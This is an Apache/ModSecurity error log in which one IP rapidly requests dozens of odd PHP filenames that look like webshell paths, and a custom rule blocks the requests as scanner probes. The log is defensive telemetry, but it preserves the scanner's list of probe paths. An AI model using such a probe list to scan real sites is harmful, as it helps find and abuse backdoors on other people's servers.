[Mon Apr 27 02:08:21.649802 2026] [:error] [pid 13137:tid 13151] [client 74.248.148.150:33574] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/less.php"] [unique_id "ae5Uld0RB4J0o4h5neHNIgAAAgo"]
[Mon Apr 27 02:08:23.015408 2026] [:error] [pid 13137:tid 13142] [client 74.248.148.150:32307] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/clirp.php"] [unique_id "ae5Ul90RB4J0o4h5neHNJwAAAgI"]
[Mon Apr 27 02:08:23.982299 2026] [:error] [pid 8383:tid 8419] [client 74.248.148.150:49350] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/clirp.php"] [unique_id "ae5Ul9Fa2S3EsATMdWO2wgAAABY"]
[Mon Apr 27 02:08:24.991591 2026] [:error] [pid 16574:tid 16619] [client 74.248.148.150:34238] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/clirp.php"] [unique_id "ae5UmH5MsX8wRQr99nZRCwAAA0w"]
[Mon Apr 27 02:08:26.114310 2026] [:error] [pid 8383:tid 8407] [client 74.248.148.150:49384] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/clirp.php"] [unique_id "ae5UmtFa2S3EsATMdWO2yQAAAAo"]
[Mon Apr 27 02:08:26.880107 2026] [:error] [pid 8385:tid 8437] [client 74.248.148.150:49355] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "ae5UmjOy7_J84Wx3-oz3UgAAAE0"]
[Mon Apr 27 02:08:27.616498 2026] [:error] [pid 8491:tid 8513] [client 74.248.148.150:50099] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "ae5Umyq7I7e6CJooQM07fQAAAM4"]
[Mon Apr 27 02:08:28.363299 2026] [:error] [pid 13137:tid 13153] [client 74.248.148.150:34207] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "ae5UnN0RB4J0o4h5neHNNgAAAgw"]
[Mon Apr 27 02:08:29.070282 2026] [:error] [pid 16574:tid 16608] [client 74.248.148.150:61613] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "ae5UnX5MsX8wRQr99nZRFgAAA0Q"]
[Mon Apr 27 02:08:29.646432 2026] [:error] [pid 8383:tid 8421] [client 74.248.148.150:61570] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wkdec.php"] [unique_id "ae5UndFa2S3EsATMdWO2zQAAABg"]
[Mon Apr 27 02:08:30.317244 2026] [:error] [pid 13137:tid 13154] [client 74.248.148.150:49374] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wkdec.php"] [unique_id "ae5Unt0RB4J0o4h5neHNQQAAAg0"]
[Mon Apr 27 02:08:30.935958 2026] [:error] [pid 8491:tid 8499] [client 74.248.148.150:3291] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wkdec.php"] [unique_id "ae5Uniq7I7e6CJooQM07iAAAAMA"]
[Mon Apr 27 02:08:31.778322 2026] [:error] [pid 13137:tid 13155] [client 74.248.148.150:3275] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wkdec.php"] [unique_id "ae5Un90RB4J0o4h5neHNRAAAAg4"]
[Mon Apr 27 02:08:32.487224 2026] [:error] [pid 22572:tid 22581] [client 74.248.148.150:32263] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lo.php"] [unique_id "ae5UoNXOViWCFU-pZzBgoAAAAUM"]
[Mon Apr 27 02:08:33.297129 2026] [:error] [pid 13137:tid 13142] [client 74.248.148.150:34177] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lo.php"] [unique_id "ae5Uod0RB4J0o4h5neHNTwAAAgI"]
[Mon Apr 27 02:08:33.887872 2026] [:error] [pid 13137:tid 13144] [client 74.248.148.150:49360] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lo.php"] [unique_id "ae5Uod0RB4J0o4h5neHNUQAAAgQ"]
[Mon Apr 27 02:08:34.551553 2026] [:error] [pid 13137:tid 13151] [client 74.248.148.150:27368] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lo.php"] [unique_id "ae5Uot0RB4J0o4h5neHNWAAAAgo"]
[Mon Apr 27 02:08:35.669857 2026] [:error] [pid 8491:tid 8503] [client 74.248.148.150:32281] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "ae5Uoyq7I7e6CJooQM07jwAAAMQ"]
[Mon Apr 27 02:08:36.531014 2026] [:error] [pid 13137:tid 13148] [client 74.248.148.150:61583] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "ae5UpN0RB4J0o4h5neHNYgAAAgg"]
[Mon Apr 27 02:08:37.645687 2026] [:error] [pid 22573:tid 22624] [client 74.248.148.150:27381] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "ae5UpXB3EmQlD4yKUt89jQAAAZE"]
[Mon Apr 27 02:08:38.263009 2026] [:error] [pid 13137:tid 13156] [client 74.248.148.150:27354] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "ae5Upt0RB4J0o4h5neHNagAAAg8"]
[Mon Apr 27 02:08:39.000351 2026] [:error] [pid 8491:tid 8505] [client 74.248.148.150:32256] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless5.php"] [unique_id "ae5Upiq7I7e6CJooQM07lQAAAMY"]
[Mon Apr 27 02:08:39.607810 2026] [:error] [pid 8491:tid 8524] [client 74.248.148.150:50063] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless5.php"] [unique_id "ae5Upyq7I7e6CJooQM07lwAAANg"]
[Mon Apr 27 02:08:40.355815 2026] [:error] [pid 13197:tid 13250] [client 74.248.148.150:49361] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless5.php"] [unique_id "ae5UqN3kktFKdSxTrBv16QAAAtI"]
[Mon Apr 27 02:08:41.242710 2026] [:error] [pid 13137:tid 13155] [client 74.248.148.150:39247] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless5.php"] [unique_id "ae5Uqd0RB4J0o4h5neHNegAAAg4"]
[Mon Apr 27 02:08:41.902643 2026] [:error] [pid 16574:tid 16606] [client 74.248.148.150:34226] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "ae5UqX5MsX8wRQr99nZRGAAAA0I"]
[Mon Apr 27 02:08:42.582139 2026] [:error] [pid 16574:tid 16612] [client 74.248.148.150:61602] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "ae5Uqn5MsX8wRQr99nZRGgAAA0g"]
[Mon Apr 27 02:08:43.196247 2026] [:error] [pid 13137:tid 13165] [client 74.248.148.150:34183] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "ae5Uq90RB4J0o4h5neHNfwAAAhg"]
[Mon Apr 27 02:08:43.888548 2026] [:error] [pid 22573:tid 22628] [client 74.248.148.150:3276] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "ae5Uq3B3EmQlD4yKUt89jwAAAZU"]
[Mon Apr 27 02:08:44.527661 2026] [:error] [pid 22573:tid 22608] [client 74.248.148.150:27339] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-load.php
[Mon Apr 27 02:08:44.806522 2026] [:error] [pid 22573:tid 22621] [client 74.248.148.150:27339] File does not exist: /usr/local/apache/htdocs/suspended-page/sid3.php
[Mon Apr 27 02:08:45.066088 2026] [:error] [pid 22573:tid 22617] [client 74.248.148.150:27339] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-cliner.php
[Mon Apr 27 02:08:45.374323 2026] [:error] [pid 22573:tid 22623] [client 74.248.148.150:27339] File does not exist: /usr/local/apache/htdocs/suspended-page/v3.php
[Mon Apr 27 02:08:45.638875 2026] [:error] [pid 22573:tid 22609] [client 74.248.148.150:27339] File does not exist: /usr/local/apache/htdocs/suspended-page/acp.php
[Mon Apr 27 02:08:45.896753 2026] [:error] [pid 22573:tid 22626] [client 74.248.148.150:27339] File does not exist: /usr/local/apache/htdocs/suspended-page/sbhu.php
[Mon Apr 27 02:08:46.244711 2026] [:error] [pid 22573:tid 22612] [client 74.248.148.150:27339] File does not exist: /usr/local/apache/htdocs/suspended-page/ton.php
[Mon Apr 27 02:08:46.503799 2026] [:error] [pid 22573:tid 22631] [client 74.248.148.150:27339] File does not exist: /usr/local/apache/htdocs/suspended-page/forbidals.php
[Mon Apr 27 02:08:46.772806 2026] [:error] [pid 22573:tid 22622] [client 74.248.148.150:27339] File does not exist: /usr/local/apache/htdocs/suspended-page/zzkhe.php
[Mon Apr 27 02:08:47.050713 2026] [:error] [pid 22573:tid 22613] [client 74.248.148.150:27339] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-xm.php
[Mon Apr 27 02:08:47.337025 2026] [:error] [pid 22573:tid 22630] [client 74.248.148.150:27339] File does not exist: /usr/local/apache/htdocs/suspended-page/cc13.php
[Mon Apr 27 02:08:47.592285 2026] [:error] [pid 22573:tid 22624] [client 74.248.148.150:27339] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yas.php"] [unique_id "ae5Ur3B3EmQlD4yKUt89pAAAAZE"]
[Mon Apr 27 02:08:48.108814 2026] [:error] [pid 16515:tid 16531] [client 74.248.148.150:33548] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yas.php"] [unique_id "ae5UsFtDrUmgHSvpuLxsLQAAAk0"]
[Mon Apr 27 02:08:48.710867 2026] [:error] [pid 13137:tid 13164] [client 74.248.148.150:32292] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yas.php"] [unique_id "ae5UsN0RB4J0o4h5neHNigAAAhc"]
[Mon Apr 27 02:08:49.455885 2026] [:error] [pid 13137:tid 13165] [client 74.248.148.150:49364] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yas.php"] [unique_id "ae5Usd0RB4J0o4h5neHNjgAAAhg"]
[Mon Apr 27 02:08:50.235647 2026] [:error] [pid 8390:tid 8465] [client 74.248.148.150:34231] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "ae5UsoGPtFK_i9p5yxTICAAAAI4"]
[Mon Apr 27 02:08:51.161691 2026] [:error] [pid 8390:tid 8456] [client 74.248.148.150:49345] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "ae5Us4GPtFK_i9p5yxTICwAAAIU"]
[Mon Apr 27 02:08:52.163340 2026] [:error] [pid 8390:tid 8475] [client 74.248.148.150:3293] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "ae5UtIGPtFK_i9p5yxTIDwAAAJg"]
[Mon Apr 27 02:08:52.820922 2026] [:error] [pid 13137:tid 13157] [client 74.248.148.150:32280] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "ae5UtN0RB4J0o4h5neHNkwAAAhA"]
[Mon Apr 27 02:08:53.519882 2026] [:error] [pid 8390:tid 8461] [client 74.248.148.150:27387] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asas.php"] [unique_id "ae5UtYGPtFK_i9p5yxTIEQAAAIo"]
[Mon Apr 27 02:08:54.222746 2026] [:error] [pid 8491:tid 8508] [client 74.248.148.150:32262] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asas.php"] [unique_id "ae5Utiq7I7e6CJooQM07oQAAAMk"]
[Mon Apr 27 02:08:54.934941 2026] [:error] [pid 8390:tid 8463] [client 74.248.148.150:27335] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asas.php"] [unique_id "ae5UtoGPtFK_i9p5yxTIFAAAAIw"]
[Mon Apr 27 02:08:55.558122 2026] [:error] [pid 8385:tid 8446] [client 74.248.148.150:3323] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asas.php"] [unique_id "ae5UtzOy7_J84Wx3-oz3VgAAAFY"]
[Mon Apr 27 02:08:56.270507 2026] [:error] [pid 13137:tid 13144] [client 74.248.148.150:34236] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class19.php"] [unique_id "ae5UuN0RB4J0o4h5neHNnwAAAgQ"]
[Mon Apr 27 02:08:56.821110 2026] [:error] [pid 8390:tid 8465] [client 74.248.148.150:27357] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class19.php"] [unique_id "ae5UuIGPtFK_i9p5yxTIFQAAAI4"]
[Mon Apr 27 02:08:57.341515 2026] [:error] [pid 8390:tid 8473] [client 74.248.148.150:43114] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class19.php"] [unique_id "ae5UuYGPtFK_i9p5yxTIGQAAAJY"]
[Mon Apr 27 02:08:57.903402 2026] [:error] [pid 13197:tid 13254] [client 74.248.148.150:50067] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class19.php"] [unique_id "ae5Uud3kktFKdSxTrBv18gAAAtY"]
[Mon Apr 27 02:08:58.419031 2026] [:error] [pid 8390:tid 8467] [client 74.248.148.150:27371] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yellow.php"] [unique_id "ae5UuoGPtFK_i9p5yxTIIQAAAJA"]
[Mon Apr 27 02:08:58.990472 2026] [:error] [pid 13197:tid 13244] [client 74.248.148.150:32289] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yellow.php"] [unique_id "ae5Uut3kktFKdSxTrBv18wAAAsw"]
[Mon Apr 27 02:08:59.547526 2026] [:error] [pid 16574:tid 16613] [client 74.248.148.150:33556] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yellow.php"] [unique_id "ae5Uu35MsX8wRQr99nZRGwAAA0k"]
[Mon Apr 27 02:09:00.527811 2026] [:error] [pid 13197:tid 13235] [client 74.248.148.150:27337] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yellow.php"] [unique_id "ae5UvN3kktFKdSxTrBv19QAAAsQ"]
[Mon Apr 27 02:09:01.173112 2026] [:error] [pid 8491:tid 8507] [client 74.248.148.150:33544] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wuasr.php"] [unique_id "ae5UvSq7I7e6CJooQM07pwAAAMg"]
[Mon Apr 27 02:09:01.813321 2026] [:error] [pid 13197:tid 13250] [client 74.248.148.150:34205] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wuasr.php"] [unique_id "ae5Uvd3kktFKdSxTrBv19gAAAtI"]
[Mon Apr 27 02:09:02.435010 2026] [:error] [pid 8383:tid 8416] [client 74.248.148.150:3304] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wuasr.php"] [unique_id "ae5UvtFa2S3EsATMdWO21gAAABM"]
